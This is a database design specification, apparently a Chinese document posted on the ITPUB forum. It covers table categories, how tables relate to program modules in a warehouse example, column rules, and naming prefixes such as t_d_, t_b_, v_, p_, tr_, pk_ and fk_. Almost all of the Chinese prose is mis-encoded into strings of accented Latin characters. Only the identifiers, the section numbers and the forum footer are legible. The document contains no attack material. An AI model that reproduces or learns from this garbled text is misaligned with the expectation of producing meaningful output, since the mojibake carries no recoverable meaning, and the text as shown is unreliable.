Êý¾Ý¿âÉè¼Æ¹æ·¶
1 Ä¿µÄ

¹æ·¶Êý¾Ý¿âÉè¼Æ¡£

2 ¸ÅÊö

´ÓÊý¾Ý¿âµÄÉè¼ÆÔ­Ôò Éè¼ÆÎĵµ¼¸·½ÃæÂÛÊöÊý¾Ý¿âÉè¼ÆµÄ¹æ·¶Ë¼Ïë¼°ÃüÃû¹æÔò¡£

3 Êý¾Ý¿âÓ¦Óýṹ

¸ù¾Ý¶ÔÒ»°ãÒµÎñϵͳµÄ·ÖÎö£¬½«Êý¾Ý¿âºÍ³ÌÐòϵͳͳһ½øÐÐÕûÌåÃèÊö£¬Õ¹Ê¾Êý¾Ý¿âµÄ

±íÖ®¼äÒÔ¼°Óë³ÌÐòÄ£¿é¼äµÄ¹Øϵ¡£

3.1 Êý¾Ý±íºÍ³ÌÐòÄ£¿éµÄ·ÖÀà

¸ù¾Ý¡°´¦ÀíÌص㡱£¬½«Êý¾Ý±íºÍ³ÌÐòÄ£¿é½øÐзÖÀàÈçÏ£º

Êý¾Ý±í·ÖÀࣺҵÎñÊý¾Ý±í¡¢»ù±¾±àÂë±í¡¢¸¨Öú±àÂë±í¡¢ÏµÍ³ÐÅÏ¢±í¡¢ÀÛ¼ÆÊý¾Ý±í¡¢½á

ËãÊý¾Ý±í¡¢¾ö²ßÊý¾Ý±í¡£
³ÌÐòÄ£¿é·ÖÀࣺ³õʼ»¯¡¢ÒµÎñ´¦Àí¡¢ÍêÕûÐÔ¼ì²âÓëÐÞÕý¡¢½áËã´¦Àí¡¢Í³¼Æ´¦Àí¡£

3.1.1 Êý¾Ý±í·ÖÀà˵Ã÷

ÒµÎñÊý¾Ý±í£º¼Ç¼ҵÎñ·¢ÉúµÄ¹ý³ÌºÍ½á¹û¡£È磬ºÏͬ¡¢³ö²Öµ¥¡¢ÉêÇëµ¥¡¢Æ¾Ö¤¡£
»ù±¾±àÂë±í£ºÃèÊöÒµÎñʵÌåµÄ»ù±¾ÐÅÏ¢ºÍ±àÂë¡£È磬²úÆ·¡¢¿Í»§¡¢¹©Ó¦ÉÌ¡¢¹ÍÔ±¡£
¸¨Öú±àÂë±í£ºÃèÊöÊôÐÔµÄÁбíÖµ¡£È磬ºÏͬÀàÐÍ¡¢Ö°³Æ¡¢Ãñ×å¡¢¸¶¿î·½Ê½¡£
ϵͳÐÅÏ¢±í£º´æ·ÅÓëϵͳ²Ù×÷¡¢ÒµÎñ¿ØÖÆÓйصIJÎÊý¡£È磬Óû§ÐÅÏ¢¡¢È¨ÏÞ¡¢Óû§Åä

ÖÃÐÅÏ¢¡¢³É±¾ºËË㷽ʽ¡£
ÀÛ¼ÆÊý¾Ý±í£º´æ·ÅÒµÎñµÄµ±Ç°ÖµºÍÀÛ¼ÆÖµ¡£È磬µ±Ç°¿â´æ¡¢µ±Ç°´æ¿î¡¢ÀÛ¼ÆÏúÊÛ¡¢ÀÛ

¼ÆÖ§³ö¡¢Ó¦ÊÕÕË¿î¡£
½áËãÊý¾Ý±í£º´æ·Å¸÷¸öʱÆÚÄ©µÄ½á´æÊý¡£È磬ÔÂÄ©¿â´æ¡¢ÔÂÄ©ÒøÐдæ¿î¡¢Ó¦ÊÕÕË¿îÔÂ

½á¡£
¾ö²ßÊý¾Ý±í£º´æ·Å¸÷¸öʱÆÚÄÚ·¢ÉúµÄͳ¼ÆÖµ¡£È磬ÔÂÏúÊÛͳ¼Æ¡¢Ô»ؿîͳ¼Æ¡¢³öÈë¿â

ͳ¼Æ¡£

3.1.2 ³ÌÐòÄ£¿é·ÖÀà˵Ã÷

³õʼ»¯£ºÏµÍ³ÔËÐÐÇ°¶Ôϵͳ½øÐÐÊý¾ÝµÄ³õʼ»¯¡£È磬¿â´æ³õʼ»¯¡£
ÒµÎñ´¦Àí£ºÒµÎñ¹ý³ÌµÄ¿ØÖƺͽá¹û¼Ç¼¡£È磬ºÏͬ¼Èë¡¢·ÑÓÃÉóÅú¡¢³öÈë¿â¡£
ÍêÕûÐÔ¼ì²âÓëÐÞÕý£º¶ÔÀÛ¼ÆÊý¾Ý±í½øÐмì²é²¢×Ô¶¯ÐÞÕý¡£Èç¶Ôµ±Ç°¿â´æ¡¢µ±Ç°´æ¿î¡¢

ÀÛ¼ÆÏúÊ۵ļì²éºÍÖØмÆËã¡£
½áËã´¦Àí£º¼ÆËã²¢¼Ç¼¸÷¸öʱÆÚÄ©µÄ½á´æÊý¡£¿â´æÔ½ᡢӦÊÕÕË¿îÔ½ᡣ
ͳ¼Æ´¦Àí£º¼ÆËã²¢¼Ç¼¸÷¸öʱÆÚÄÚ·¢ÉúµÄͳ¼ÆÊý¡£È磬ͳ¼ÆÔÂÏúÊÛ¡¢Í³¼ÆÔ»ؿͳ

¼Æ³öÈë¿â¡£

3.2 Êý¾Ý±í¼äµÄ¹Øϵ

ÒµÎñÊý¾Ý±í<-->»ù±¾±àÂë±í Ö÷-Íâ¼ü¹Øϵ¡£È磬ºÏͬ±í<-->¿Í»§±àÂë±í;
ÒµÎñÊý¾Ý±í<-->¸¨Öú±àÂë±í Ö÷-Íâ¼ü¹Øϵ¡£È磬ºÏͬ±í<-->¸¶¿î·½Ê½;
ÒµÎñÊý¾Ý±í¡¢ÀÛ¼ÆÊý¾Ý±í¡¢½áËãÊý¾Ý±í£ºÀÛ¼ÆÊý¾Ý±í=½áËãÊý¾Ý±í(ÉÏÆÚÄ©) + ÒµÎñÊý

¾Ý±í(±¾ÆÚÄÚ·¢Éú)¡£È統ǰ¿â´æ=ÉÏÔÂÄ©¿â´æÊý+(±¾ÔÂÈë¿âÊý-±¾Ô³ö¿âÊý);
¾ö²ßÊý¾Ý±í<-->ÒµÎñÊý¾Ý±í ¾ö²ßÊý¾Ý±íµÄÊý¾ÝÊÇÓÉÒµÎñÊý¾Ý±íÖÐÊý¾Ýµ¼³ö(ͳ¼Æ)µÄ£»

3.3 Êý¾Ý±íÓë³ÌÐòÄ£¿é¼äµÄ¹Øϵ

ÓÉÒ»¸öÀý×Ó(²Ö¿â¹ÜÀí)À´ËµÃ÷Êý¾Ý±íÓë³ÌÐòÄ£¿éÖ®¼äµÄ¹Øϵ£º
. ϵͳʹÓÃÇ°£¬Óɳõʼ»¯Ä£¿é¶Ô¿â´æÊý(ÀÛ¼ÆÊý¾Ý±í)ºÍÉÏÔÂÄ©¿â´æÊý(½á´æÊý¾Ý±í)½ø

Ðгõʼ»¯£»
. µ±ÓÐÈë¿âÒµÎñ·¢Éúʱ£¬ÓÉÈë¿âÄ£¿é(ÒµÎñ´¦Àí)½«Èë¿âµ¥Â¼Èë²¢±£´æµ½Èë¿âµ¥Ã÷ϸÕÊ(

ÒµÎñÊý¾Ý±í)ÖУ¬Í¬Ê±½«Èë¿âÊýÀÛ¼Óµ½¿â´æÊý(ÀÛ¼ÆÊý¾Ý±í)ÖУ»
. ¶¨ÆÚ»ò²»¶¨ÆÚ£¬¿â´æÊýºËËãÄ£¿é(¼ì²éÍêÕûÐÔ¼ì²âÓëÐÞÕý)¸ù¾ÝÉÏÔÂÄ©µÄ¿â´æÊý(½á´æ

Êý¾Ý±í)¡¢±¾ÔÂÒÑ·¢ÉúÊý(ÒµÎñÊý¾Ý±í)¼ì²éµ±Ç°µÄ¿â´æÊý(ÀÛ¼ÆÊý¾Ý±í)ÊÇ·ñ·ûºÏ£¬²»·ûºÏ

Ôò¸ø³öÌáʾ£¬¿ÉÊÖ¹¤»ò×Ô¶¯½øÐиüÕý(µ±Ç°¿â´æÊý=ÉÏÔÂÄ©¿â´æÊý+±¾ÔÂÈë¿âÊý-±¾Ô³ö¿âÊý

)£»
. ÿÔ³õ£¬½øÐÐÉÏÔµÄÔ½ᴦÀí¡£Ô½áÄ£¿é(½áËã´¦Àí)¸ù¾ÝÉÏÔ³õµÄ¿â´æÊý(½á´æÊý¾Ý

±í)¡¢ÉÏÔ·¢ÉúÊý(ÒµÎñÊý¾Ý±í)¼ÆËã³öÉÏÔÂÄ©µÄ¿â´æÊý(ÀÛ¼ÆÊý¾Ý±í)¡£¹«Ê½Îª£ºÉÏÔÂÄ©¿â

´æÊý=ÉÏÔ³õ¿â´æÊý+ÉÏÔÂÈë¿âÊý-ÉÏÔ³ö¿âÊý£»
. ÿ¸öÔÂÔ½áºó£¬¿â´æÒµÎñÔÂͳ¼ÆÄ£¿é(ͳ¼Æ´¦Àí)ͳ¼ÆÉÏÔµĸ÷ÖÖ¿â´æÉÌÆ·µÄÈë¿âºÍ

³ö¿âÊý£¬±ãÓÚ²éѯºÍÉú³É±¨±í£¬Ò²×÷Ϊ¾ö²ßÖ§³ÖµÄÊý¾Ý»ù´¡¡£

3.4 Êý¾Ý±íÃüÃûʱ¶ÔÊý¾Ý±í·ÖÀàµÄ¿¼ÂÇ

. ÒµÎñÊý¾Ý±í£ºt_d_<ϵͳ±êʶ>_<±í±êʶ>¡£ÈçÏúÊÛϵͳµÄºÏͬ±í t_d_SH_Contract

»ò t_d_SH_ºÏͬ£»
. »ù±¾±àÂë±í£ºt_b_[<ϵͳ±êʶ>]_<±í±êʶ>¡£Èç¿Í»§±àÂë±ít_b_Customer »ò t_b_¿Í

»§£»
. ¸¨Öú±àÂë±í£ºt_a_[<ϵͳ±êʶ>]_<±í±êʶ>¡£ÈçºÏͬÀà±ðt_a_ContType »ò t_a_ºÏͬ

Àà±ð£»
. ϵͳÐÅÏ¢±í£ºt_s_[<ϵͳ±êʶ>]_<±í±êʶ>¡£ÈçÓû§±ít_s_User »ò t_s_Óû§£»
. ÀÛ¼ÆÊý¾Ý±í£ºt_t_<ϵͳ±êʶ>_<±í±êʶ>¡£È統ǰ¿â´æ±ít_t_SO_Stock »ò t_t_SO_

¿â´æ£»
. ½áËãÊý¾Ý±í£ºt_c_<ϵͳ±êʶ>_<±í±êʶ>¡£Èç¿â´æÔ½á±ít_c_SO_StockMonth »ò

t_c_SO_¿â´æÔ½᣻
. ¾ö²ßÊý¾Ý±í£ºt_w_<ϵͳ±êʶ>_<±í±êʶ>¡£ÈçÔÂÏúÊÛͳ¼Æ±ít_w_SH_SellMonth »ò

t_w_SH_ÔÂÏúÊÛͳ¼Æ£»

×¢£º[]ÄÚµÄÄÚÈݱíʾ¿ÉÑ¡¡£Èç¡°t_s_[<ϵͳ±êʶ>]_<±í±êʶ>¡±±íʾt_s_SH_User ºÍ

t_s_User ¶¼ÊÇ·ûºÏ¹æÔòµÄ¡£

4 Êý¾Ý¿â½á¹¹Ô­Ôò

¹æ¶¨³ýÊý¾Ý¿âÉè¼ÆËù×ñÑ­µÄ·¶Ê½ÍâµÄһЩÊÊÓÃÔ­Ôò£¬ÔÚ×ñÑ­Êý¾Ý¿âÉè¼Æ·¶Ê½µÄ»ù´¡ÉÏ

£¬ºÏÀíµØ»®·Ö±í£¬Ìí¼Ó״̬ºÍ¿ØÖÆ×ֶεȡ£

4.1 ¸¨Öú±àÂë±í

ΪÁËʹ¸¨Öú±àÂë±íÄÜÆðµ½Ô¤ÆÚµÄЧÄÜ£¬ÓÖ²»Òò¹ý¶àµÄ¸¨Öú±àÂë±íÄÑÒÔ¹ÜÀí£¬¹Ê¶Ô¸¨Öú

±àÂë±íµÄʹÓÃ×÷ÈçϹ涨£º

1. µ±Ä³¸¨Öú±àÂë±íµÄ±àÂëÔÊÐíÓû§Ìí¼Óʱ£¬Ó¦Éè¼Æ³É¡°¶ÀÁ¢¡±µÄÊý¾Ý±í£»·ñÔò£¬½«²»

ÔÊÐíÓû§Ìí¼Ó±àÂëµÄ¸÷¸¨Öú±àÂë±íºÏ²¢³ÉÒ»¸ö¡°Í¨Óᱵĸ¨Öú±àÂë±í¡£
2. ¡°¶ÀÁ¢¡±µÄ¸¨Öú±àÂë±íÓëÖ÷±íµÄÁвÉÓÃÖ÷-ÍâÔ¼Êø±£Ö¤ÁÐÊý¾ÝÍêÕûÐÔ¡£
3. ¡°Í¨Óᱵĸ¨Öú±àÂë±íÓë¸÷Ö÷±í¼äûÓÐÔ¼Êø¹Øϵ£¬Ö÷±íÁеÄÊý¾ÝÍêÕûÐÔÓÉÁÐ˵Ã÷µÄ

¡°Óò¡±À´±£Ö¤¡£
4. ¡°Í¨Óᱵĸ¨Öú±àÂë±í³ý±àÂëºÍÃû³ÆÁÐÍ⣬»¹ÓÐÒ»¸ö±êʶÁУ¬ÓÃÀ´±êʶºÏ²¢Ç°µÄ¸÷

Âë±í£¬¸Ã±êʶÁÐ+±àÂëÁÐ×÷Ϊ¸Ã±íµÄÖ÷¼ü¡£
5. ¶ÔÓÚ¡°¶ÀÁ¢¡±µÄ¸¨Öú±àÂë±í£¬Óû§Ö»¿ÉÌí¼ÓеıàÂëºÍ¸Ä±äÃû³Æ£¬²¢ÇÒ²»ÄܸıäÒ»

¸ö±àÂëËù´ú±íµÄÒâÒ壻¶ÔÓÚ¡°Í¨Óᱵĸ¨Öú±àÂë±í£¬Ô­ÔòÉϲ»ÔÊÐíÓû§Ð޸ģ¬»òÖ»ÓÐÏÞµØ

ÔÊÐíÐÞ¸ÄÃû³Æ¡£

4.2 »ù±¾±àÂë±í

1. »ù±¾±àÂë±í¿ÉÒÔÓÐÈçϵıêʶÁУºÄÚ±àÂë¡¢Íâ±àÂë¡¢Öú¼ÇÂë¡¢¼ò³Æ¡¢È«³Æ¡£ÄÚ±àÂë

£¨Î¨Ò»±àÂ룩×÷ΪÖ÷¼üÓгÌÐò×Ô¶¯Éú³É£¬Óû§²»¿É¼û£»Íâ±àÂ루Ψһ±àÂ룩ÓÉÓû§°´Ä³ÖÖ

¹æÔò×ÔÐж¨Ò壬Óû§¿É¼û£»Öú¼ÇÂëΪƴÒôËõ£¬·½±ã¼È룬²»Î¨Ò»£¬ÖØÂëʱÓÉÁбíÑ¡Ôñ£»¼ò

³ÆÓÃÓÚÁбíÏÔʾºÍ±¨±í£¬ÒÔ±ãËõ¶ÌÐÐ¿í¡£ÒÔÉϵÄÁÐÔÚʵÏÖʱ¿ÉÊÓÇé¿öºÍÏ°¹ß¼ÓÒÔɾ¼õ¡£
2. µ±Âë±íµÄÁн϶àÇÒÒ²Ðн϶àʱ£¬¿É½«ÉÏÊöµÄ±êʶÁкͳ£ÓõÄÐÅÏ¢´æÓÚÒ»¸ö±í£¬½«Æä

ËüµÄÐÅÏ¢Áí±í´æ´¢¡£

4.3 ÒµÎñÊý¾Ý±í

1. ÉèÓС®Â¼ÈëÈË¡¯ºÍ¡®Â¼ÈëÈÕÆÚ¡¯ÁУ¬ÓÉϵͳ×Ô¶¯¼Ç¼¡£
2. ¼Ç¼µ¥¾ÝµÄ±íÖÐÉèÖá°×Ô¶¯µ¥¾ÝºÅ¡±£¬ÓÉÁ½¸ö×Ö·û¿ªÊ¼ÒÔÇø·Öµ¥¾ÝÀàÐÍ£¬ºó¸úÒ»Êý

×ÖÐòÁбíʾÐòºÅ¡£¡®×Ô¶¯µ¥¾ÝºÅ¡¯ÓÉϵͳ×Ô¶¯Éú³É£¬×÷ΪÖ÷±íµÄÖ÷¼ü£¬²»ÔÊÐíÓû§Ð޸ġ£

µ±ÓжÔÓ¦µÄÖ½Öʵ¥¾Ýʱ£¬ÉèÖá°µ¥¾ÝºÅ¡±ÓÃÓڼǼֽÖʵ¥¾ÝµÄµ¥¾ÝºÅ¡£
3. Ã÷ϸ±íÖÐÉèÓÐÐÐÐòºÅ£¬×Ô¶¯¼Ç¼ÐеļÈë˳Ðò¡£
4. ÉèÖá°´æµµ±ê¼Ç¡±ÁУ¬ÓÃÓÚ³éÈ¡Êý¾Ýµ½¾ö²ßÊý¾Ý¿âʱµÄ¸üбê¼Ç¡£²åÈëÐÂÐлòÐÞ¸Ä

ÒÑÓÐÐÐʱÉèÖøñê¼Ç£»Êý¾Ý³éÈ¡ºóÇå³ý¸Ã±ê¼Ç¡£
5. ¶ÔÓÚÓÃÓÚ²éѯ¹ýÂËÌõ¼þµÄÁУ¬²»¿ÉΪ¿Õ£¬ÒÔÃâÐС°¶ªÊ§¡±¡£
6. ¶ÔÓÚÊýÖµÁУ¬²»¿ÉΪ¿Õ£¬¡°0¡±×÷ΪĬÈÏÖµ¡£
7. ¶ÔÓÚ±ØÒªµÄ¡°ÈßÓࡱÁУ¬Èç¿Í»§Ãû³Æ£¬Ó¦ÓÐÏàÓ¦µÄ³ÌÐò±£³Ö¸÷¡°ÈßÓࡱÁеÄͬһÐÔ

£¬ÒÔÃâ³öÏÖÒìÒé¡£
8. ÉèÖá°¹ý³Ì״̬¡±Áк͡°¼Ç¼״̬¡±ÁС£¹ý³Ì״̬ÁÐÓÃÓڼǼÈç´´½¨¡¢ÉóºË¡¢¼ÇÕË

¡¢³åºìµÈ״̬£»¼Ç¼״̬ÓÃÓڼǼÈçÓÐЧ¡¢É¾³ýµÈ״̬¡£

5 Êý¾Ý¿âÃüÃûÔ­Ôò

5.1 ±íÃû

. ÒµÎñÊý¾Ý±í£ºt_d_<ϵͳ±êʶ>_<±í±êʶ>¡£
. »ù±¾±àÂë±í£ºt_b_[<ϵͳ±êʶ>]_<±í±êʶ>¡£
. ¸¨Öú±àÂë±í£ºt_a_[<ϵͳ±êʶ>]_<±í±êʶ>¡£
. ϵͳÐÅÏ¢±í£ºt_s_[<ϵͳ±êʶ>]_<±í±êʶ>¡£
. ÀÛ¼ÆÊý¾Ý±í£ºt_t_<ϵͳ±êʶ>_<±í±êʶ>¡£
. ½áËãÊý¾Ý±í£ºt_c_<ϵͳ±êʶ>_<±í±êʶ>¡£
. ¾ö²ßÊý¾Ý±í£ºt_w_<ϵͳ±êʶ>_<±í±êʶ>¡£

5.2 ÊÓͼ

v_<ÊÓͼÀàÐÍ>_[<ϵͳ±êʶ>]_<ÊÓͼ±êʶ>¡£ÊÓͼÀàÐͲμû¡¶±íµÄ·ÖÀà¡·¡£

5.3 ´æ´¢¹ý³Ì

p_[<ϵͳ±êʶ>]_<´æ´¢¹ý³Ì±êʶ>

5.4 º¯Êý

f_[<ϵͳ±êʶ>]_<º¯Êý±êʶ>

5.5 ´¥·¢Æ÷

tr_<±íÃû>_<i,u,dµÄÈÎÒâ×éºÏ> (after)
ti_<±íÃû>_<i,u,dµÄÈÎÒâ×éºÏ> (instead)

5.6 ×Ô¶¨ÒåÊý¾ÝÀàÐÍ

ud_<×Ô¶¨ÒåÊý¾ÝÀàÐͱêʶ>_<Êý¾ÝÀàÐÍ>

5.7 Default

df_<Default±êʶ>

5.8 Rule

ru_<Rule±êʶ>

5.9 Ö÷¼ü

pk_<±íÃû>_<Ö÷¼ü±êʶ>

5.10 Íâ¼ü

fk_<±íÃû>_<Ö÷±íÃû>_<Íâ¼ü±êʶ>




»¶Ó­¹âÁÙ ITPUBÂÛ̳£­×¨ÒµµÄIT¼¼ÊõÉçÇø (http://www.itpub.net/) Powered by Discuz! X3.2